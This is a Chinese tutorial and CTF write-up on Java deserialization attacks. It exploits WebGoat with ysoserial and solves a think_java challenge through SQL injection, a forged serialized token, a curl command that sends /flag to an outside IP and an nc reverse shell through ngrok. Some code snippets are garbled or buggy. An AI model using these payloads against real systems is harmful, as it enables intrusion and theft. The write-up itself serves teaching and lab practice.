WEB漏洞—反序列化之PHP&JAVA全解(下)

WEB漏洞—反序列化之PHP&JAVA全解(下)

20210502203019

123412412

Java中的API实现:

  位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

  序列化:  ObjectOutputStream类 –> writeObject()

        注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

          按Java的标准约定是给文件一个.ser扩展名

  反序列化: ObjectInputStream类 –> readObject()   

        注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

序列化和反序列化

  • 序列化(Serialization):将对象的状态信息转换为字节序列(即可以存储或传输的形式)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
  • 反序列化:从存储区中读取该数据,并将其还原为对象的过程。

下方的特征可以作为序列化的标志参考:

  • 一段数据以rO0AB开头,基本可以确定这串就是JAVA序列化base64加密的数据。
  • 或者如果以aced开头,那么他就是这一段java序列化的16进制。

案例1:Java反序列化及命令执行代码测试

java反序列化代码测试

1375459-20211227192635645-1722950731

序列化过程:使用writeobject方法,将Person对象数据转化为txt乱码数据;

反序列化过程:使用readobject方法,将txt乱码数据转化为Person对象数据。

命令执行代码测试

1375459-20211227191433836-1252660401

如果结合java反序列化+代码执行,将会给系统带来不可预料的危害。

案例2:WebGoat_Javaweb靶场反序列化测试

WebGoat漏洞环境下载:https://github.com/WebGoat/WebGoat/releases

命令行启动:java -jar webgoat-server-8.2.2.jar

浏览器打开

1375459-20211227193009150-374785445

使用jd-gui工具或者IDEA工具(推荐)打开webgoat-server-8.2.2.jar,分析源代码。

找到反序列化函数

1375459-20211227193510797-1413677254

反序列化这里可以执行对象中的代码

1375459-20211227193653541-320246282

此时,基本可以 确定存在反序列化漏洞。如何利用?

本题目页面上的数据以rO0AB开头,可以确定这串就是JAVA序列化base64加密的数据。

所以我们在构造payload时,需要如下几步:

构造含有命令(比如ipconfig)的对象–>序列化–>base64–>最终payload(rO0AB开头字符串)

但是攻击时,还需要考虑回显问题,若系统不回显命令执行后的结果,即使我们攻击成功,也没用。因此我们一般需要构造反弹shell。

这个过程挺复杂,手工的话,需要一个一个尝试,效率低且不一定成功。因此我们可以使用工具生成payload。

Java反序列化验证工具:https://github.com/frohoff/ysoserial/releases

如下图,使用ysoserial工具生成payload。这里由于源代码中有hibernate组件,因此我们可以执行命令调用该组件生成payload。

1
java  -Dhibernate5  -cp  hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

1375459-20211227200042234-1127904737

payload如下

1375459-20211227200249166-1417676327

这里我们还需要将payload进行base64加密(ysoserial只能进行反序列化,它不负责base64加密)

写一个python脚本,执行,实现base64加密

1375459-20211227200428218-286913598

脚本

1
2
3
4
import base64
c=open("payload.bin","rd").read()
cc=base64.urlsafe_b64encode(c)
open("payload.txt","wt",ecoding="urf-8").write(c())

生成payload.txt

1375459-20211227200538532-968303878

全选,复制粘贴到本题目输入框,点击提交,弹出计算器。

1375459-20211227200732438-660652479

案例3:2020-网鼎杯-朱雀组-Web-think_java真题复现

CTFHub官网:https://www.ctfhub.com/\#/challenge

1375459-20211227201127405-624446557

页面打开如下

1375459-20211227205409037-2133440313

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞。

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试。

数据库名:myapp,列名:name,pwd

注入测试:

1
POST /common/test/sqlDict` `dbName=myapp?a=' union select (select name from user)# 得到用户名` `dbName=myapp?a=' union select (select pwd from user)# 得到密码

注入路径

1375459-20211227205809813-2054452902

注入参数

1375459-20211227205556251-1054738804

构造请求,注入成功,得到账户密码

1375459-20220117162815536-2008956484

1375459-20211227205716585-794793367

0x02 接口测试

/swagger-ui.html接口测试:

1
{``"password"``:``"ctfhub_29588_13038"``,`` ``"username"``: ``"ctfhub"``}

登录成功返回数据:

1
{ ``"data"``: ``"Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg=="``, ``"msg"``: ``"登录成功"``, ``"status"``: ``2``, ``"timestamps"``: ``1594549037415``}

如下图所示,接口登录测试

1375459-20211227205946741-665533910

回显登录成功,返回token

1375459-20211227210029375-846581077

抓包如下

1375459-20211228084626129-1314494916

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

  • 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
  • 或者如果以aced开头,那么就是这一段java序列化的16进制。

此处登录成功时,发现回显的token是以rO0AB开头,猜测是一个JAVA序列化base64加密的数据。

分析数据:

先利用py2脚本base64解密数据

java_base64.py

1
import` `base64``a ``=` `"rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"``b ``=` `base64.b64decode(a).encode(``'hex'``)``print``(b)

1375459-20211228084900978-2139848780

再利用SerializationDumper解析数据

下载:https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12

1
java ``-``jar SerializationDumper.jar base64后的数据

1375459-20211228085028111-1659628461

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作。

使用该token访问接口/common/user/current可以查看当前用户信息

1375459-20211228085153676-1271321130

此时,我们可以构造恶意token:生成payload(反弹shell)–>base64编码–>最终payload。

这个过程比较复杂,我们可以借助工具完成。

首先,利用ysoserial进行序列化生成(反弹shell)。由于这里不知道源码,因此不能使用框架。

这里使用curl命令模拟由被攻击的服务器向我们本地服务器发送一条请求,请求的参数为根目录flag文件的内容,本地服务器监听到这个数据包就可以看到flag内容了。但是题目说flag在根目录下,随机文件名,意味着我们不知道flag的文件名,因此这种方法不行(必须想办法知道flag文件名才可以)

1
java ``-``jar ysoserial``-``master``-``30099844c6``-``1.jar` `ROME ``"curl http://47.75.212.155:4444 -d @/flag"` `> xiaodi.``bin

1375459-20211228085517719-34669159

然后,利用py2脚本将反序列化数据进行base64编码。

1
import` `base64``file` `=` `open``(``"xiaodi.bin"``,``"rb"``)``now ``=` `file``.read()``ba ``=` `base64.b64encode(now)``print``(ba)``file``.close()

1375459-20211228085743716-450222003

0x05 触发反序列化,获取flag

本地服务器启动监听,执行:nc -lvvp 4444

1375459-20211228085841566-1922327799

修改请求头,数据包直接请求获取进行反序列数据加载操作。

1375459-20211228090101548-1414801491

结果,本地服务器监听到数据。实际上并没有。

1375459-20211228090200120-910901756

这里我使用/etc/passwd代替flag,成功获取到其内容。

1375459-20211228174139159-221515120

注意:这里的flag文件名不好获取,最后改变策略使用反弹shell的方法。

<1>在本地虚拟机启动ngrok,生成公网IP和端口

1
unzip ``/``path``/``to``/``ngrok.``zip` `    ``#解压安装``.``/``ngrok authtoken XXXXXXX  ``#连接账户``.``/``ngrok tcp ``4444` `         ``#启动将 TCP 隧道转发到本地4444端口

1375459-20220118101809316-1776049607

<2>生成反序列化payload。生成反弹shell的payload–>base64编码–>最终payload

1
java ``-``jar ysoserial``-``master``-``8eb5cbfbf6``-``1.jar` `ROME ``"nc 4.tcp.ngrok.io 16215 –e /bin/sh"` `> xiaodi.``bin` `python java.py` `#java.py` `import` `base64``file` `=` `open``(``"xiaodi.bin"``,``"rb"``)``now ``=` `file``.read()``ba ``=` `base64.b64encode(now)``print``(``"Bearer "``+``ba)``file``.close()

1375459-20220118101927974-1856081386

<3>本地虚拟机启动监听

1
nc ``-``lvvp ``4444` `#启动监听

<4>使用该payload连接POST /common/user/current接口

1375459-20220118102354443-634943094

<5>本地虚拟机接收到反弹shell,执行命令,成功拿到flag。

1375459-20220118102838000-37242713

涉及资源

1
2
3
4
https://www.ctfhub.com/\#/challenge
https://github.com/WebGoat/WebGoat/releases
https://github.com/frohoff/ysoserial/releases
https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12